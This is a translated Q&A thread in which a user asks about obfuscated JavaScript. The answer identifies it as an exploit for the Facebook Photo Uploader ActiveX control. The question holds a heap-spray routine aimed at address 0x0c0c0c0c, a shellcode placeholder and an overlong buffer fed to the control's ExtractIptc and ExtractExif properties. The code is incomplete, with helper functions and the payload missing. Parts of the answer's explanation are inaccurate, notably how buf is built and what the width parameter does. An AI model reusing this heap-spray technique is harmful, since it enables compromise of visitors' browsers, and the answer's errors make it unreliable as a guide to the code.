我不明白此代码片段:

function ms(){
    var plc=unescape('".
    unescape( '\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage();
    if (mf)return(0);
    mf=1;
    var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
    var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
    for(i=0;i<hb;i++) m[i]=ss+plc;
    hav();
    return(1);
    }

在上面的函数中,我似乎无法弄清楚变量类型,也无法弄清楚hsta变量在做什么,以及赋给它什么:
var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++)m[i]=ss+plc;

我也无法弄清楚这个功能:
function fb(){
    try {
        var obj=null;
        obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}');
        if(obj){
            ms();
            var buf = addr(0x0c0c0c0c);
            while (buf.length < 400) buf += buf;
            buf = buf.substring(0,400);
            obj.ExtractIptc = buf;
            obj.ExtractExif = buf;
            }
       } catch(e){}
    return 0;
    }

以下代码是什么意思?



这是什么样的变量?
var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;

最重要的是,该代码段试图做什么?

以下是一些其他功能:
function hex(num,width){
    var digits='0123456789ABCDEF';
    var hex=digits.substr(num&0xF,1);
    while(num>0xF){
        num=num>>>4;
        hex=digits.substr(num&0xF,1)+hex;
        }
    var width=(width?width:0);
    while(hex.length<width)hex='0'+hex;
    return hex;
}

function addr(addr){
    return unescape('%u'+hex(addr&0xFFFF,4)+'%u'+hex((addr>>16)&0xFFFF,4));
    }

任何指导将不胜感激。

最佳答案

这是一个JavaScript代码段,试图利用与Facebook有关的安全漏洞,更具体地来说,与其图像上传器客户端ActiveX控件有关。
cobj部分尝试创建ClassID {5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}的对象,该对象恰好是ActiveX照片上传器控件。 ExtractIptc和ExtractExif函数属于该特定的ActiveX控件。

该代码的核心实际上是内存地址操纵,移位,使用掩码将高位和低位分开。例如,hex((addr>>16)&0xFFFF,4))接收一个地址,将其向右移16位,清除下部,然后将其转换为十六进制数。要真正理解其中的大部分代码,您应该拥有正确的调试工具。

仔细搜索{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0} ClassID会得到一些有趣的结果,您应该调查一下:

http://www.kb.cert.org/vuls/id/776931

http://seclists.org/fulldisclosure/2008/Feb/0023.html

http://securitytracker.com/alerts/2008/Feb/1019297.html

请注意,这不是PHP。它是javascript。

更多详细信息...

cobj可能转换为CreateObject()调用。每个注册的ActiveX控件都有其自己的类ID,格式为{0000000000-0000-0000-0000-000000000000}。当您要引用已注册的库并创建其实例时,可以使用其名称或类ID。

ActiveX控件本身应该是计算机上的.OCX或.DLL文件。如果您可以找到该文件并对其进行调试,则将获得有关ExtractIptc和ExtractExif函数的最具体的详细信息。同样,以特定方式调用时,这两个函数似乎具有漏洞,而这正是该脚本试图利用的漏洞。
var hsta=0x0c0c0c0c部分定义一个变量hsta,它等于十六进制数0c0c0c0c。与编写var hsta = 202116108相同。在计算机工程中,十六进制地址比十进制数更容易处理,因为计算机内存中的地址和数据是二进制的,可以直接表示为十六进制数。关于十六进制的更多详细信息:http://en.wikipedia.org/wiki/Hexadecimal

变量名hsta似乎用匈牙利语表示(第一个字母代表变量类型-十六进制为h)。因此,我认为这意味着十六进制的起始地址(hsta)。按照相同的思路,我的猜测是pl表示有效负载,而plc表示有效负载代码。

有效负载代码是在漏洞利用成功后计算机将执行的代码,这是您在脚本(\x43\x43\x43\x43\n....\xEF)开头看到的内容。对于特定的CPU体系结构和操作系统,它被编码为shell code。这意味着已经编译的代码是独立的,可以直接通过管道传递给CPU。如果对此进行解码,您可能会发现一些接近机器代码的东西。可能没有什么积极意义。
hex(num,width)函数将十进制数转换为十六进制形式。我已经分别测试了该函数,并在喂入1000时返回3E8。width变量仅用于退出脚本,如果生成的十六进制数大于指定的十六进制数。

关于这部分:

var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;

buf变量是一个缓冲区。缓冲区不过是内存中的数据。可以将其作为字符串连接,如该代码所示。我的猜测是,从内存中0x0c0c0c0c处的任何内容创建一个400字节的缓冲区,然后将其提供给两个函数。

这里缺少几个函数定义。即,hav()函数。

09-12 03:45